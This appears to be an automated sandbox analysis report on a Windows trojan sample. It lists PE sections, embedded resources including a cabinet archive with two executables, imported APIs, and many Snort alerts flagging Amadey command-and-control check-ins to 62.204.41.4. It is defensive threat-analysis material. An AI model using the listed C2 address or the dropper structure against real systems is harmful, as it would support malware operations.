.text	0x1000	0x6314	0x6400	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x86000	0x85c00	False	0.9308100905373832	data	7.871206042948107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x92000	0x888	0xa00	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AVI	0xcb30	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States
RT_ICON	0xf94c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States
RT_ICON	0xffb4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States
RT_ICON	0x1029c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States
RT_ICON	0x10484	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States
RT_ICON	0x105ac	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States
RT_ICON	0x11454	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States
RT_ICON	0x11cfc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States
RT_ICON	0x123c4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States
RT_ICON	0x1292c	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x20300	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States
RT_ICON	0x228a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States
RT_ICON	0x23950	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States
RT_ICON	0x242d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States
RT_DIALOG	0x24740	0x2f2	data	English	United States
RT_DIALOG	0x24a34	0x35c	data	Russian	Russia
RT_DIALOG	0x24d90	0x1b0	data	English	United States
RT_DIALOG	0x24f40	0x1b4	data	Russian	Russia
RT_DIALOG	0x250f4	0x166	data	English	United States
RT_DIALOG	0x2525c	0x168	data	Russian	Russia
RT_DIALOG	0x253c4	0x1c0	data	English	United States
RT_DIALOG	0x25584	0x1e0	data	Russian	Russia
RT_DIALOG	0x25764	0x130	data	English	United States
RT_DIALOG	0x25894	0x150	data	Russian	Russia
RT_DIALOG	0x259e4	0x120	data	English	United States
RT_DIALOG	0x25b04	0x122	data	Russian	Russia
RT_STRING	0x25c28	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States
RT_STRING	0x25cb4	0x86	Matlab v4 mat-file (little endian) K\0041\0045\004@\0048\004B\0045\004 , numeric, rows 0, columns 0	Russian	Russia
RT_STRING	0x25d3c	0x520	data	English	United States
RT_STRING	0x2625c	0x52e	data	Russian	Russia
RT_STRING	0x2678c	0x5cc	data	English	United States
RT_STRING	0x26d58	0x592	data	Russian	Russia
RT_STRING	0x272ec	0x4b0	data	English	United States
RT_STRING	0x2779c	0x4b2	data	Russian	Russia
RT_STRING	0x27c50	0x44a	data	English	United States
RT_STRING	0x2809c	0x43e	data	Russian	Russia
RT_STRING	0x284dc	0x3ce	data	English	United States
RT_STRING	0x288ac	0x2fc	data	Russian	Russia
RT_RCDATA	0x28ba8	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x28bb0	0x67ecc	Microsoft Cabinet archive data, many, 425676 bytes, 2 files, at 0x2c +A "bmMg.exe" +A "xriv.exe", ID 1580, number 1, 20 datablocks, 0x1503 compression	English	United States
RT_RCDATA	0x90a7c	0x4	data	English	United States
RT_RCDATA	0x90a80	0x24	data	English	United States
RT_RCDATA	0x90aa4	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x90aac	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x90ab4	0x4	data	English	United States
RT_RCDATA	0x90ab8	0x9	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x90ac4	0x4	data	English	United States
RT_RCDATA	0x90ac8	0x9	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x90ad4	0x4	data	English	United States
RT_RCDATA	0x90ad8	0x6	data	English	United States
RT_RCDATA	0x90ae0	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x90ae8	0x7	ASCII text, with no line terminators	English	United States
RT_GROUP_ICON	0x90af0	0xbc	data	English	United States
RT_VERSION	0x90bac	0x408	data	English	United States
RT_VERSION	0x90fb4	0x410	data	Russian	Russia
RT_MANIFEST	0x913c4	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.362.204.41.449933802027700 02/08/23-21:32:21.545353	TCP	2027700	ET TROJAN Amadey CnC Check-In	49933	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449740802027700 02/08/23-21:31:26.105437	TCP	2027700	ET TROJAN Amadey CnC Check-In	49740	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449835802027700 02/08/23-21:31:52.859571	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449737802027700 02/08/23-21:31:25.346205	TCP	2027700	ET TROJAN Amadey CnC Check-In	49737	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449798802027700 02/08/23-21:31:43.430750	TCP	2027700	ET TROJAN Amadey CnC Check-In	49798	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449896802027700 02/08/23-21:32:09.795235	TCP	2027700	ET TROJAN Amadey CnC Check-In	49896	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449948802027700 02/08/23-21:32:25.249770	TCP	2027700	ET TROJAN Amadey CnC Check-In	49948	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449755802027700 02/08/23-21:31:29.861684	TCP	2027700	ET TROJAN Amadey CnC Check-In	49755	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449820802027700 02/08/23-21:31:48.811905	TCP	2027700	ET TROJAN Amadey CnC Check-In	49820	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449709802027700 02/08/23-21:31:11.416191	TCP	2027700	ET TROJAN Amadey CnC Check-In	49709	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449807802027700 02/08/23-21:31:45.583489	TCP	2027700	ET TROJAN Amadey CnC Check-In	49807	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449783802027700 02/08/23-21:31:39.747318	TCP	2027700	ET TROJAN Amadey CnC Check-In	49783	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449868802027700 02/08/23-21:32:03.033763	TCP	2027700	ET TROJAN Amadey CnC Check-In	49868	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449881802027700 02/08/23-21:32:06.188564	TCP	2027700	ET TROJAN Amadey CnC Check-In	49881	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449863802027700 02/08/23-21:32:01.828272	TCP	2027700	ET TROJAN Amadey CnC Check-In	49863	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449712802027700 02/08/23-21:31:12.121654	TCP	2027700	ET TROJAN Amadey CnC Check-In	49712	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449810802027700 02/08/23-21:31:46.341949	TCP	2027700	ET TROJAN Amadey CnC Check-In	49810	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449905802027700 02/08/23-21:32:12.384320	TCP	2027700	ET TROJAN Amadey CnC Check-In	49905	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449961802027700 02/08/23-21:32:28.958110	TCP	2027700	ET TROJAN Amadey CnC Check-In	49961	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449966802027700 02/08/23-21:32:30.274782	TCP	2027700	ET TROJAN Amadey CnC Check-In	49966	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449765802027700 02/08/23-21:31:32.555336	TCP	2027700	ET TROJAN Amadey CnC Check-In	49765	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449788802027700 02/08/23-21:31:40.954036	TCP	2027700	ET TROJAN Amadey CnC Check-In	49788	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449727802027700 02/08/23-21:31:22.887483	TCP	2027700	ET TROJAN Amadey CnC Check-In	49727	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449923802027700 02/08/23-21:32:19.023556	TCP	2027700	ET TROJAN Amadey CnC Check-In	49923	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449958802027700 02/08/23-21:32:28.145173	TCP	2027700	ET TROJAN Amadey CnC Check-In	49958	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449704802027700 02/08/23-21:31:10.105007	TCP	2027700	ET TROJAN Amadey CnC Check-In	49704	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449830802027700 02/08/23-21:31:51.265355	TCP	2027700	ET TROJAN Amadey CnC Check-In	49830	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449900802027700 02/08/23-21:32:10.776959	TCP	2027700	ET TROJAN Amadey CnC Check-In	49900	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449745802027700 02/08/23-21:31:27.438465	TCP	2027700	ET TROJAN Amadey CnC Check-In	49745	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449871802027700 02/08/23-21:32:03.779795	TCP	2027700	ET TROJAN Amadey CnC Check-In	49871	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449817802027700 02/08/23-21:31:48.055582	TCP	2027700	ET TROJAN Amadey CnC Check-In	49817	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449722802027700 02/08/23-21:31:17.801755	TCP	2027700	ET TROJAN Amadey CnC Check-In	49722	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449793802027700 02/08/23-21:31:42.202189	TCP	2027700	ET TROJAN Amadey CnC Check-In	49793	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449853802027700 02/08/23-21:31:59.419398	TCP	2027700	ET TROJAN Amadey CnC Check-In	49853	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449775802027700 02/08/23-21:31:37.801160	TCP	2027700	ET TROJAN Amadey CnC Check-In	49775	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449800802027700 02/08/23-21:31:43.904291	TCP	2027700	ET TROJAN Amadey CnC Check-In	49800	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449858802027700 02/08/23-21:32:00.606919	TCP	2027700	ET TROJAN Amadey CnC Check-In	49858	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449778802027700 02/08/23-21:31:38.510712	TCP	2027700	ET TROJAN Amadey CnC Check-In	49778	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449809802027700 02/08/23-21:31:46.106372	TCP	2027700	ET TROJAN Amadey CnC Check-In	49809	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449907802027700 02/08/23-21:32:13.917744	TCP	2027700	ET TROJAN Amadey CnC Check-In	49907	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449876802027700 02/08/23-21:32:04.982215	TCP	2027700	ET TROJAN Amadey CnC Check-In	49876	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449910802027700 02/08/23-21:32:15.871067	TCP	2027700	ET TROJAN Amadey CnC Check-In	49910	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449760802027700 02/08/23-21:31:31.042505	TCP	2027700	ET TROJAN Amadey CnC Check-In	49760	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449815802027700 02/08/23-21:31:47.530708	TCP	2027700	ET TROJAN Amadey CnC Check-In	49815	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449913802027700 02/08/23-21:32:16.595552	TCP	2027700	ET TROJAN Amadey CnC Check-In	49913	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449735802027700 02/08/23-21:31:24.825436	TCP	2027700	ET TROJAN Amadey CnC Check-In	49735	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449928802027700 02/08/23-21:32:20.315211	TCP	2027700	ET TROJAN Amadey CnC Check-In	49928	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449729802027700 02/08/23-21:31:23.382592	TCP	2027700	ET TROJAN Amadey CnC Check-In	49729	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449840802027700 02/08/23-21:31:56.252732	TCP	2027700	ET TROJAN Amadey CnC Check-In	49840	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449943802027700 02/08/23-21:32:24.007317	TCP	2027700	ET TROJAN Amadey CnC Check-In	49943	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449845802027700 02/08/23-21:31:57.496565	TCP	2027700	ET TROJAN Amadey CnC Check-In	49845	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449730802027700 02/08/23-21:31:23.623024	TCP	2027700	ET TROJAN Amadey CnC Check-In	49730	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449886802027700 02/08/23-21:32:07.408944	TCP	2027700	ET TROJAN Amadey CnC Check-In	49886	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449851802027700 02/08/23-21:31:58.949710	TCP	2027700	ET TROJAN Amadey CnC Check-In	49851	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449724802027700 02/08/23-21:31:22.157497	TCP	2027700	ET TROJAN Amadey CnC Check-In	49724	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449848802027700 02/08/23-21:31:58.209736	TCP	2027700	ET TROJAN Amadey CnC Check-In	49848	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449802802027700 02/08/23-21:31:44.378402	TCP	2027700	ET TROJAN Amadey CnC Check-In	49802	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449707802027700 02/08/23-21:31:10.935837	TCP	2027700	ET TROJAN Amadey CnC Check-In	49707	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449837802027700 02/08/23-21:31:54.069031	TCP	2027700	ET TROJAN Amadey CnC Check-In	49837	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449773802027700 02/08/23-21:31:37.289230	TCP	2027700	ET TROJAN Amadey CnC Check-In	49773	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449843802027700 02/08/23-21:31:57.016438	TCP	2027700	ET TROJAN Amadey CnC Check-In	49843	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449732802027700 02/08/23-21:31:24.105231	TCP	2027700	ET TROJAN Amadey CnC Check-In	49732	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449878802027700 02/08/23-21:32:05.452117	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449951802027700 02/08/23-21:32:26.219930	TCP	2027700	ET TROJAN Amadey CnC Check-In	49951	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449921802027700 02/08/23-21:32:18.515786	TCP	2027700	ET TROJAN Amadey CnC Check-In	49921	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449873802027700 02/08/23-21:32:04.268049	TCP	2027700	ET TROJAN Amadey CnC Check-In	49873	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449915802027700 02/08/23-21:32:17.076591	TCP	2027700	ET TROJAN Amadey CnC Check-In	49915	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449956802027700 02/08/23-21:32:27.633042	TCP	2027700	ET TROJAN Amadey CnC Check-In	49956	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449795802027700 02/08/23-21:31:42.683944	TCP	2027700	ET TROJAN Amadey CnC Check-In	49795	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449893802027700 02/08/23-21:32:09.064082	TCP	2027700	ET TROJAN Amadey CnC Check-In	49893	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449884802027700 02/08/23-21:32:06.923410	TCP	2027700	ET TROJAN Amadey CnC Check-In	49884	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449954802027700 02/08/23-21:32:27.113819	TCP	2027700	ET TROJAN Amadey CnC Check-In	49954	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449706802027700 02/08/23-21:31:10.701281	TCP	2027700	ET TROJAN Amadey CnC Check-In	49706	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449865802027700 02/08/23-21:32:02.300345	TCP	2027700	ET TROJAN Amadey CnC Check-In	49865	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449715802027700 02/08/23-21:31:13.538251	TCP	2027700	ET TROJAN Amadey CnC Check-In	49715	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449762802027700 02/08/23-21:31:31.524264	TCP	2027700	ET TROJAN Amadey CnC Check-In	49762	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449804802027700 02/08/23-21:31:44.855991	TCP	2027700	ET TROJAN Amadey CnC Check-In	49804	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449969802027700 02/08/23-21:32:31.022857	TCP	2027700	ET TROJAN Amadey CnC Check-In	49969	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449883802027700 02/08/23-21:32:06.680163	TCP	2027700	ET TROJAN Amadey CnC Check-In	49883	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449753802027700 02/08/23-21:31:29.389092	TCP	2027700	ET TROJAN Amadey CnC Check-In	49753	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449842802027700 02/08/23-21:31:56.777809	TCP	2027700	ET TROJAN Amadey CnC Check-In	49842	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449776802027700 02/08/23-21:31:38.042042	TCP	2027700	ET TROJAN Amadey CnC Check-In	49776	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449805802027700 02/08/23-21:31:45.092452	TCP	2027700	ET TROJAN Amadey CnC Check-In	49805	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449935802027700 02/08/23-21:32:22.032745	TCP	2027700	ET TROJAN Amadey CnC Check-In	49935	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449846802027700 02/08/23-21:31:57.735834	TCP	2027700	ET TROJAN Amadey CnC Check-In	49846	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449757802027700 02/08/23-21:31:30.341809	TCP	2027700	ET TROJAN Amadey CnC Check-In	49757	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449912802027700 02/08/23-21:32:16.359167	TCP	2027700	ET TROJAN Amadey CnC Check-In	49912	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449716802027700 02/08/23-21:31:14.532463	TCP	2027700	ET TROJAN Amadey CnC Check-In	49716	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449781802027700 02/08/23-21:31:39.216997	TCP	2027700	ET TROJAN Amadey CnC Check-In	49781	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449953802027700 02/08/23-21:32:26.867865	TCP	2027700	ET TROJAN Amadey CnC Check-In	49953	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449823802027700 02/08/23-21:31:49.543782	TCP	2027700	ET TROJAN Amadey CnC Check-In	49823	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449734802027700 02/08/23-21:31:24.588963	TCP	2027700	ET TROJAN Amadey CnC Check-In	49734	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449899802027700 02/08/23-21:32:10.520938	TCP	2027700	ET TROJAN Amadey CnC Check-In	49899	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449861802027700 02/08/23-21:32:01.357771	TCP	2027700	ET TROJAN Amadey CnC Check-In	49861	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449772802027700 02/08/23-21:31:37.016273	TCP	2027700	ET TROJAN Amadey CnC Check-In	49772	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449916802027700 02/08/23-21:32:17.326423	TCP	2027700	ET TROJAN Amadey CnC Check-In	49916	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449950802027700 02/08/23-21:32:25.900036	TCP	2027700	ET TROJAN Amadey CnC Check-In	49950	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449763802027700 02/08/23-21:31:31.780351	TCP	2027700	ET TROJAN Amadey CnC Check-In	49763	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449852802027700 02/08/23-21:31:59.185304	TCP	2027700	ET TROJAN Amadey CnC Check-In	49852	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449941802027700 02/08/23-21:32:23.532205	TCP	2027700	ET TROJAN Amadey CnC Check-In	49941	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449925802027700 02/08/23-21:32:19.523158	TCP	2027700	ET TROJAN Amadey CnC Check-In	49925	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449922802027700 02/08/23-21:32:18.772895	TCP	2027700	ET TROJAN Amadey CnC Check-In	49922	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449738802027700 02/08/23-21:31:25.612828	TCP	2027700	ET TROJAN Amadey CnC Check-In	49738	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449836802027700 02/08/23-21:31:53.163923	TCP	2027700	ET TROJAN Amadey CnC Check-In	49836	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449827802027700 02/08/23-21:31:50.529167	TCP	2027700	ET TROJAN Amadey CnC Check-In	49827	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449833802027700 02/08/23-21:31:51.983787	TCP	2027700	ET TROJAN Amadey CnC Check-In	49833	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449931802027700 02/08/23-21:32:21.032345	TCP	2027700	ET TROJAN Amadey CnC Check-In	49931	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449744802027700 02/08/23-21:31:27.200875	TCP	2027700	ET TROJAN Amadey CnC Check-In	49744	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449747802027700 02/08/23-21:31:27.935502	TCP	2027700	ET TROJAN Amadey CnC Check-In	49747	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449919802027700 02/08/23-21:32:18.035543	TCP	2027700	ET TROJAN Amadey CnC Check-In	49919	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449794802027700 02/08/23-21:31:42.450951	TCP	2027700	ET TROJAN Amadey CnC Check-In	49794	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449880802027700 02/08/23-21:32:05.941168	TCP	2027700	ET TROJAN Amadey CnC Check-In	49880	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449750802027700 02/08/23-21:31:28.669505	TCP	2027700	ET TROJAN Amadey CnC Check-In	49750	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449791802027700 02/08/23-21:31:41.723772	TCP	2027700	ET TROJAN Amadey CnC Check-In	49791	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449785802027700 02/08/23-21:31:40.215518	TCP	2027700	ET TROJAN Amadey CnC Check-In	49785	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449874802027700 02/08/23-21:32:04.500033	TCP	2027700	ET TROJAN Amadey CnC Check-In	49874	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449963802027700 02/08/23-21:32:29.504401	TCP	2027700	ET TROJAN Amadey CnC Check-In	49963	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449814802027700 02/08/23-21:31:47.295499	TCP	2027700	ET TROJAN Amadey CnC Check-In	49814	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449849802027700 02/08/23-21:31:58.454915	TCP	2027700	ET TROJAN Amadey CnC Check-In	49849	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449725802027700 02/08/23-21:31:22.403677	TCP	2027700	ET TROJAN Amadey CnC Check-In	49725	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449938802027700 02/08/23-21:32:22.819598	TCP	2027700	ET TROJAN Amadey CnC Check-In	49938	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449903802027700 02/08/23-21:32:11.766469	TCP	2027700	ET TROJAN Amadey CnC Check-In	49903	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449855802027700 02/08/23-21:31:59.888895	TCP	2027700	ET TROJAN Amadey CnC Check-In	49855	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449944802027700 02/08/23-21:32:24.249933	TCP	2027700	ET TROJAN Amadey CnC Check-In	49944	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449808802027700 02/08/23-21:31:45.869321	TCP	2027700	ET TROJAN Amadey CnC Check-In	49808	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449766802027700 02/08/23-21:31:32.973144	TCP	2027700	ET TROJAN Amadey CnC Check-In	49766	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449719802027700 02/08/23-21:31:17.030553	TCP	2027700	ET TROJAN Amadey CnC Check-In	49719	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449939802027700 02/08/23-21:32:23.062857	TCP	2027700	ET TROJAN Amadey CnC Check-In	49939	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449731802027700 02/08/23-21:31:23.865413	TCP	2027700	ET TROJAN Amadey CnC Check-In	49731	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449746802027700 02/08/23-21:31:27.686672	TCP	2027700	ET TROJAN Amadey CnC Check-In	49746	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449844802027700 02/08/23-21:31:57.262976	TCP	2027700	ET TROJAN Amadey CnC Check-In	49844	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449942802027700 02/08/23-21:32:23.769179	TCP	2027700	ET TROJAN Amadey CnC Check-In	49942	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449792802027700 02/08/23-21:31:41.968819	TCP	2027700	ET TROJAN Amadey CnC Check-In	49792	80	192.168.2.3	62.204.41.4
